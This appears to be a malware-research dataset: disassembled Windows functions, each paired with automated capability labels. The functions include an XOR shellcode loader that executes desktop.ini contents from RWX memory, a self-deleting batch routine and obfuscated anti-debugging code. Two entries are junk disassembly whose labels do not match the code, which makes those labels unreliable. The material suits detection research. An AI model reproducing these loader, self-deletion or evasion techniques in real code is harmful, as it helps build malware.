joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4069c5
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x4069e9
xor eax, eax
test eax, eax
je 0x4069fc
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x4069fc
xor ecx, ecx
jmp 0x4069ff
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406b22
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x427dec], 0
push esi
jne 0x406b59
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406b33
mov dword [ecx*4 + 0x427de8], eax
inc ecx
cmp ecx, 0x100
jl 0x406b2e
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406b8a
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x427de8]
xor eax, esi
inc ecx
dec edx
jne 0x406b6c
pop edi
not eax
pop esi
ret 0xc

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x401284
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x40a5fc], 0
push esi
jne 0x4012bb
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x401295
mov dword [ecx*4 + 0x40a5f8], eax
inc ecx
cmp ecx, 0x100
jl 0x401290
mov esi, dword [esp + 0x10]
test esi, esi
mov eax, dword [esp + 8]
not eax
jbe 0x4012e7
mov ecx, dword [esp + 0xc]
xor edx, edx
mov dl, byte [ecx]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x40a5f8]
inc ecx
dec esi
jne 0x4012cd
not eax
pop esi
ret
Function at 0x403a61
Capabilities:
Accept command line arguments
Copy file
Delete file
Get common file path
Get file size
Identify system language via api
Read file on windows
Terminate process
Write file on windows

Disassembly:
xor byte [eax], dh
xor byte [eax], dh
xor byte [eax], dh
xor byte [eax], dh
xor byte [eax], dh
xor byte [eax], dh
xor byte [eax], dh
xor byte [eax], dh
xor byte [eax], dh
xor byte [eax], dh
xor byte [eax], dh
xor byte [eax], dh
xor byte [eax], dh
xor byte [eax], dh
xor byte [eax], dh
xor byte [eax], dh
xor byte [eax], dh
xor byte [eax], dh
xor byte [eax], dh
xor byte [eax], dh
xor byte [eax], dh
xor byte [eax], dh
invalid
Function at 0x403bd8
Capabilities:
Accept command line arguments
Copy file
Delete file
Get common file path
Get file size
Identify system language via api
Read file on windows
Terminate process
Write file on windows

Disassembly:
xor byte [eax], dh
xor byte [eax], dh
xor byte [eax], dh
xor byte [eax], dh
xor byte [eax], dh
xor byte [eax], dh
xor byte [eax], dh
xor byte [eax], dh
xor byte [eax], dh
xor byte [eax], dh
xor byte [eax], dh
xor byte [eax], dh
xor byte [eax], dh
xor byte [eax], dh
xor byte [eax], dh
xor byte [eax], dh
xor byte [eax], dh
xor byte [eax], dh
xor byte [eax], dh
xor byte [eax], dh
inc esp
and al, 0x1c
Function at 0x404376
Capabilities:
Create process on windows
Self delete
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x464
cmp dword [0x41aec8], 9
push ebx
push esi
push edi
mov ebx, str.CMD.EXE__C
jg 0x404395
mov ebx, str.COMMAND.COM__C
push 0x104
lea eax, [ebp - 0x360]
push eax
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x360]
push eax
lea eax, [ebp - 0x25c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x25c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, edi
je 0x4043e6
cmp byte [ebp + eax - 0x25c], 0x2e
je 0x4043de
dec eax
jne 0x4043cf
jmp 0x4043e6
mov byte [ebp + eax - 0x25c], 0
push str..bat
lea eax, [ebp - 0x25c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x44
pop esi
push esi
lea eax, [ebp - 0x54]
push edi
push eax
call fcn.004062cf
push 0x10
lea eax, [ebp - 0x10]
push edi
push eax
call fcn.004062cf
lea eax, [ebp - 0x25c]
push eax
push ebx
lea eax, [ebp - 0x464]
mov dword [ebp - 0x54], esi
mov esi, dword [0x408298]
push str._s__s_
push eax
mov word [ebp - 0x24], 6
mov dword [ebp - 0x28], 1
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
add esp, 0x28
mov edi, 0x80
push edi
lea eax, [ebp - 0x25c]
push eax
call ebx
push edi
lea eax, [ebp - 0x360]
push eax
call ebx
xor eax, eax
push eax
push edi
push 2
push eax
push eax
push 0x40000000
lea eax, [ebp - 0x25c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40456b
lea eax, [ebp - 0x158]
push str._echo_off
push eax
call esi
lea eax, [ebp - 0x158]
push eax
push edi
call fcn.00404336
lea eax, [ebp - 0x158]
push str.:Repeat
push eax
call esi
lea eax, [ebp - 0x158]
push eax
push edi
call fcn.00404336
lea eax, [ebp - 0x360]
push eax
mov ebx, str.del___s_
lea eax, [ebp - 0x158]
push ebx
push eax
call esi
lea eax, [ebp - 0x158]
push eax
push edi
call fcn.00404336
lea eax, [ebp - 0x360]
push eax
lea eax, [ebp - 0x158]
push str.if_exist___s__goto_Repeat
push eax
call esi
add esp, 0x40
lea eax, [ebp - 0x158]
push eax
push edi
call fcn.00404336
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x158]
push ebx
push eax
call esi
lea eax, [ebp - 0x158]
push eax
push edi
call fcn.00404336
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 0x1c
push edi
call esi
xor eax, eax
cmp dword [0x41aec8], 9
jle 0x40453f
mov ecx, 0x8000000
jmp 0x404541
xor ecx, ecx
lea edx, [ebp - 0x10]
push edx
lea edx, [ebp - 0x54]
push edx
push eax
push eax
push ecx
push eax
push eax
push eax
lea ecx, [ebp - 0x464]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40456b
push dword [ebp - 0x10]
call esi
push dword [ebp - 0xc]
call esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40601d
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [0x421730]
add eax, 0x1ef
mov cl, byte [eax]
and cl, 4
push ebx
mov byte [0x421700], cl
mov al, byte [eax]
and al, 1
xor ebx, ebx
cmp dword [0x421718], ebx
push esi
push edi
mov byte [0x42171c], al
jne 0x406145
push ebp
mov ebp, 0x4202e0
push ebp
mov dword [0x40a024], 3
mov dword [0x40a028], ebx
call fcn.004063b1
test eax, eax
pop ecx
jne 0x406126
mov eax, dword [0x421730]
cmp dword [eax + 0xdd8], ebx
jl 0x406126
mov esi, 0x420f00
push esi
push dword [eax + 0xddc]
call fcn.0040382b
pop ecx
push eax
mov eax, dword [0x421730]
push dword [eax + 0xdd8]
call fcn.0040382b
pop ecx
push eax
mov eax, dword [0x421730]
push dword [eax + 0xdd4]
call fcn.00406779
mov al, byte [0x420f00]
add esp, 0x10
cmp al, bl
je 0x406126
cmp al, 0x22
jne 0x4060e2
mov edi, dword [0x408220]
push esi
call edi
mov esi, eax
jmp 0x4060dc
cmp byte [eax], 0x22
je 0x4060e0
push eax
call edi
cmp byte [eax], bl
jne 0x4060d4
mov byte [eax], bl
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [eax + esi - 4]
cmp eax, esi
jbe 0x40611e
push str..exe
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x40611e
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x406111
test al, 0x10
jne 0x40611e
push esi
call fcn.0040634a
cmp eax, esi
pop ecx
jb 0x40611e
mov byte [eax], bl
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push ebp
call fcn.004063b1
test eax, eax
pop ecx
jne 0x406144
mov eax, dword [0x421730]
push dword [eax + 0xee0]
push ebp
call fcn.00406ca7
pop ecx
pop ecx
pop ebp
mov eax, dword [0x421730]
add eax, 0xc0
push eax
mov edi, 0x421740
push edi
call fcn.00406c7c
mov eax, dword [0x421730]
cmp byte [eax + 0x1ee], bl
pop ecx
pop ecx
jne 0x4061e9
call dword [0x40826c]
mov esi, eax
mov eax, dword [0x421730]
mov ecx, dword [eax + 0x1a4]
cmp ecx, 0xffffffff
je 0x4061a5
push dword [eax + 0x1ac]
push dword [eax + 0x1a8]
push ecx
push edi
push dword [0x420ee0]
call fcn.004011c0
mov esi, eax
mov eax, dword [0x421730]
add esp, 0x14
push ebx
mov dword [0x421f40], esi
push dword [eax + 0x1b8]
push dword [0x421720]
call fcn.00401be1
add esp, 0xc
test eax, eax
je 0x4061cc
xor eax, eax
inc eax
jmp 0x40624c
push ebx
push 0x405aa0
push esi
push 0x69
push dword [0x420ee0]
mov dword [0x421f40], ebx
call dword [0x4081e0]
jmp 0x40624c
push ebx
push dword [eax + 0x1b8]
push dword [0x421720]
call fcn.00401be1
add esp, 0xc
test eax, eax
jne 0x4061c4
push ebx
call fcn.00405634
test eax, eax
je 0x406230
cmp dword [0x421710], ebx
jne 0x4061c4
mov eax, dword [0x421730]
push ebx
push dword [eax + 0x1c0]
push dword [0x421720]
call fcn.00401be1
add esp, 0xc
jmp 0x4061c4
mov eax, dword [0x421730]
push ebx
push dword [eax + 0x1bc]
push dword [0x421720]
call fcn.00401be1
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
ret
Function at 0x406250
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push edi
xor esi, esi
xor eax, eax
mov dword [ebp - 0x10], esi
push 0x10
lea edi, [ebp - 0xc]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
pop ecx
stosd dword es:[edi], eax
xor eax, eax
lea edi, [ebp - 0x50]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push dword [ebp + 0xc]
mov dword [ebp - 0x54], 0x44
push esi
push esi
push esi
push esi
push esi
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4062b1
cmp dword [ebp - 0xc], esi
je 0x4062a2
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 0x10]
cmp eax, esi
je 0x4062ae
mov ecx, dword [ebp - 8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x10]
pop edi
pop esi
leave
ret
Function at 0x4064d6
Capabilities:
Get common file path
Get file size

Disassembly:
sub esp, 0x10
and dword [esp], 0
push esi
push edi
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, dword [esp + 0x20]
mov esi, eax
test esi, esi
je 0x406523
push str.MoveFileExA
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x406511
push 5
push edi
push dword [esp + 0x24]
call eax
mov dword [esp + 8], eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [esp + 8], 0
jne 0x4066d1
test edi, edi
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push ebp
mov esi, 0x400
mov ebp, 0x41a988
je 0x406540
push esi
push ebp
push edi
call ebx
jmp 0x40654a
mov dword [0x41a988], 0x4c554e
push esi
mov esi, 0x41a588
push esi
push dword [esp + 0x2c]
call ebx
push esi
push ebp
push str._s_s_r_n
push 0x41a188
call dword [0x408298]
add esp, 0x10
push 0x3f0
mov edi, eax
push esi
mov dword [esp + 0x1c], edi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.wininit.ini
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
xor ebx, ebx
push ebx
push 0x8000080
push 4
push ebx
push ebx
push 0xc0000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
mov dword [esp + 0x18], esi
je 0x4066cf
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push ebx
mov ebp, eax
lea eax, [edi + ebp + 0xa]
push eax
push ebx
push 4
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
cmp eax, ebx
mov dword [esp + 0x1c], eax
je 0x4066b7
push ebx
push ebx
push ebx
push 2
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ebx, eax
test ebx, ebx
je 0x4066ab
push str._Rename__r_n
or eax, 0xffffffff
mov ecx, ebx
call fcn.00406442
pop ecx
mov ecx, eax
test ecx, ecx
jne 0x40661a
push str._Rename__r_n
lea eax, [ebx + ebp]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
add ebp, 0xa
mov eax, ebp
jmp 0x406683
push 0x40891c
or eax, 0xffffffff
call fcn.00406442
mov esi, eax
inc esi
mov edi, ebx
sub edi, esi
add edi, ebp
mov eax, edi
mov ecx, esi
mov dword [esp], 0x41a188
call fcn.00406442
test eax, eax
pop ecx
jne 0x406698
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push edi
push esi
push eax
mov dword [esp + 0x1c], eax
call fcn.0040649a
mov eax, dword [esp + 0x20]
push edi
push dword [esp + 0x20]
add eax, esi
push eax
call fcn.0040649a
add esp, 0x18
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov edi, dword [esp + 0x14]
sub esi, ebx
mov eax, esi
mov esi, dword [esp + 0x18]
push edi
add eax, ebx
push 0x41a188
push eax
call fcn.0040649a
add esp, 0xc
add ebp, edi
jmp 0x40669c
mov esi, dword [esp + 0x18]
push ebx
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov dword [esp + 0x10], 1
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor ebx, ebx
push ebx
push ebx
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebp
pop ebx
mov eax, dword [esp + 8]
pop edi
pop esi
add esp, 0x10
ret
Function at 0x4066db
Capabilities:
Create directory

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
mov edi, dword [0x408220]
jmp 0x4066ee
push esi
call edi
mov esi, eax
cmp byte [esi], 0x20
je 0x4066e9
cmp byte [esi], 0
je 0x406776
push ebx
push ebp
push esi
call edi
cmp byte [eax], 0x3a
mov bl, 0x5c
jne 0x40670e
cmp byte [eax + 1], bl
jne 0x40670e
lea esi, [eax + 2]
jmp 0x406737
cmp byte [esi], bl
jne 0x406774
cmp byte [esi + 1], bl
jne 0x406774
push 2
pop ebp
jmp 0x406725
test al, al
je 0x406734
push esi
call edi
mov esi, eax
mov al, byte [esi]
cmp al, bl
jne 0x40671c
test al, al
je 0x406734
push esi
call edi
mov esi, eax
dec ebp
jne 0x406725
cmp byte [esi], 0
je 0x406774
mov ebp, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
jmp 0x40674e
cmp byte [esi], 0
je 0x406757
push esi
call edi
mov esi, eax
cmp byte [esi], bl
jne 0x406744
cmp byte [esi], 0
jne 0x406761
push 0
push dword [esp + 0x18]
call ebp
jmp 0x40676f
push 0
push dword [esp + 0x18]
mov byte [esi], 0
call ebp
mov byte [esi], bl
inc esi
cmp byte [esi], 0
jne 0x40674e
pop ebp
pop ebx
pop edi
pop esi
ret

Function at 0x4067dd
Capabilities:
Get common file path
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push edi
push dword [ebp + 8]
lea eax, [ebp - 0x400]
push str.Common__s
push eax
call dword [0x408298]
push esi
lea eax, [ebp - 0x400]
push eax
mov edi, str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
push edi
push 0x80000002
call fcn.00406779
add esp, 0x1c
cmp byte [esi], 0
jne 0x40683f
push esi
push dword [ebp + 8]
push edi
push 0x80000001
call fcn.00406779
add esp, 0x10
cmp byte [esi], 0
jne 0x40683f
push esi
push 0x400
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
pop edi
leave
ret
Function at 0x4068fb
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, dword [esp + 0xc]
mov al, byte [ebp]
test al, al
push esi
mov esi, dword [esp + 0xc]
mov dword [esp + 0xc], esi
je 0x406a7b
push edi
mov edi, 0x400
push ebx
mov ecx, esi
sub ecx, dword [esp + 0x14]
cmp ecx, edi
jge 0x406a79
movzx ebx, al
inc ebp
cmp ebx, 0xdc
jge 0x40693d
mov byte [esi], bl
inc esi
jmp 0x406a6e
cmp ebx, 0xff
jne 0x406951
mov al, byte [ebp]
mov byte [esi], al
inc esi
inc ebp
jmp 0x406a6e
lea eax, [ebx - 0xdc]
cmp eax, 0x22
ja case.default.0x406967
movzx eax, byte [eax + 0x406aa5]
jmp dword [eax*4 + 0x406a81]
push dword [0x421f40]
push 0x408a54
push esi
call dword [0x408298]
add esp, 0xc
jmp case.default.0x406967
lea eax, [ebx - 0xdd]
shl eax, 0xa
add eax, 0x41aee0
push eax
jmp 0x4069bf
push esi
push str.ProgramFilesDir
push str.SOFTWAREMicrosoftWindowsCurrentVersion
push 0x80000002
call fcn.00406779
add esp, 0x10
cmp byte [esi], 0
jne 0x406a43
push str.C:Program_Files
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp case.default.0x406967
push dword [ebx*4 + 0x409c8c]
call fcn.004067dd
pop ecx
jmp case.default.0x406967
push str.AppData
call fcn.004067dd
mov dword [esp], str.MicrosoftInternet_ExplorerQuick_Launch
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je case.0x406967.251
test al, 0x10
jne case.default.0x406967
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
jmp case.default.0x406967
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
jmp case.default.0x406967
push str.GetSystemWow64DirectoryA
push str.kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je case.0x406967.253
push edi
push esi
call eax
test eax, eax
jne case.default.0x406967
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
jmp case.default.0x406967
push esi
call dword [0x408220]
cmp byte [eax], 0
je 0x406a55
inc esi
cmp byte [esi], 0
jne 0x406a43
cmp ebx, 0xf1
jle 0x406a65
cmp byte [esi], 0x5c
jne 0x406a65
mov byte [esi], 0
push esi
call dword [0x408220]
mov esi, eax
mov al, byte [ebp]
test al, al
jne 0x40691b
pop ebx
pop edi
mov byte [esi], 0
pop esi
pop ebp
ret

Function at 0x406bdf
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x94
lea eax, [ebp - 0x1c]
push eax
mov dword [ebp - 0x1c], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x406c40
push 4
pop eax
cmp dword [ebp - 0x18], eax
jae 0x406c0b
xor eax, eax
jmp 0x406c3d
cmp dword [ebp - 0xc], 2
jne 0x406c27
cmp dword [ebp - 0x18], 5
jae 0x406c1c
push 0xa
pop eax
jmp 0x406c42
cmp dword [ebp - 0x14], 1
sbb eax, eax
add eax, 0xc
jmp 0x406c42
cmp dword [ebp - 0xc], 1
jne 0x406c40
cmp dword [ebp - 0x14], 0xa
ja 0x406c42
xor eax, eax
cmp eax, dword [ebp - 0x14]
sbb eax, eax
neg eax
inc eax
inc eax
jmp 0x406c42
xor eax, eax
add ebp, 0x78
leave
ret
Function at 0x15f9df4
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ecx
rdtsc
lahf
cbw
mov ecx, 0
xchg edx, edi
cmova esi, ecx
push ecx
rdtsc
mov esi, dword [esp + 0x28]
rdtsc
inc esi
clc
btr di, 0x29
xor esi, 0x14032505
rol esi, 3
sbb di, 0x47da
or dx, 0x3bd2
add esi, 0x3d7231c2
lea esi, [esi + ecx]
sub edi, 0x42e200cd
mov ebp, esp
lea esp, [esp - 0xc0]
mov ebx, esi
ror di, 0x39
jmp 0xec9120
jmp edi
lea esi, [esi + 4]
jmp 0xf85c9f
mov edx, 0
sub ebx, edx
lea edi, [0xec9127]
nop
neg ax
mov eax, dword [esi]
jmp 0xe3dea1
xor eax, ebx
xor eax, 0x2e633673
not eax
ror eax, 1
cmp edi, edx
lea eax, [eax - 0x1fb63b08]
xor ebx, eax
add edi, eax
jmp 0xe03f4a
push edx
movsx dx, bh
push ebx
cwde
pushfd
lahf
push esi
setno bl
cmovle si, di
jmp 0x155daf7
push ebp
jmp 0xe0286c
push eax
setae ah
push edi
bswap di
jmp 0x153b606
Function at 0x402e78
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
xor eax, eax
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x402ed1
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
call sub.KERNEL32.DLL_GetCommandLineA
lea edx, [ebp - 8]
call fcn.00402d14
mov dword [ebp - 4], eax
lea edx, [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.00402d14
mov dword [ebp - 4], eax
cmp dword [ebp - 8], 0
je 0x402ebb
inc ebx
jmp 0x402ea4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402ed8
lea eax, [ebp - 8]
call fcn.004046b4
ret

Function at 0x402ee0
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
add esp, 0xfffffef4
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.004046b4
test esi, esi
jne 0x402f17
push 0x105
lea eax, [esp + 8]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA_1
mov ecx, eax
lea edx, [esp + 4]
mov eax, ebx
call fcn.004047a4
jmp 0x402f38
call sub.KERNEL32.DLL_GetCommandLineA
mov dword [esp], eax
mov edx, ebx
mov eax, dword [esp]
call fcn.00402d14
mov dword [esp], eax
test esi, esi
je 0x402f38
cmp dword [ebx], 0
je 0x402f38
dec esi
jmp 0x402f1f
add esp, 0x10c
pop esi
pop ebx
ret

Function at 0x4035a8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x488020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403640
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x403620
xor eax, eax
push ebp
push 0x403619
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x40365c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403620
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
mov ax, word [0x488020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x488020], ax
mov esp, ebp
pop ebp
ret

Function at 0x4044ac
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x48a04c], 0
je 0x40450d
cmp word [0x48a220], 0xd7b2
jne 0x4044d5
cmp dword [0x48a228], 0
jbe 0x4044d5
mov eax, 0x48a21c
call dword [0x48a238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x48806c
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle_1
push eax
call sub.KERNEL32.DLL_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x404534
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle_1
push eax
call sub.KERNEL32.DLL_WriteFile_1
pop edx
ret
cmp byte [0x488030], 0
jne 0x404529
push 0
push 0x488064
push 0x48806c
push 0
call sub.user32.dll_MessageBoxA_1
pop edx
ret
Function at 0x404668
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, 8
call fcn.00402ab4
mov dword [eax], edi
mov edx, dword [ebp + 0x10]
mov dword [eax + 4], edx
mov byte [0x48a04d], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x404630
push eax
push esi
push ebx
call sub.KERNEL32.DLL_CreateThread_1
pop edi
pop esi
pop ebx
pop ebp
ret 0xc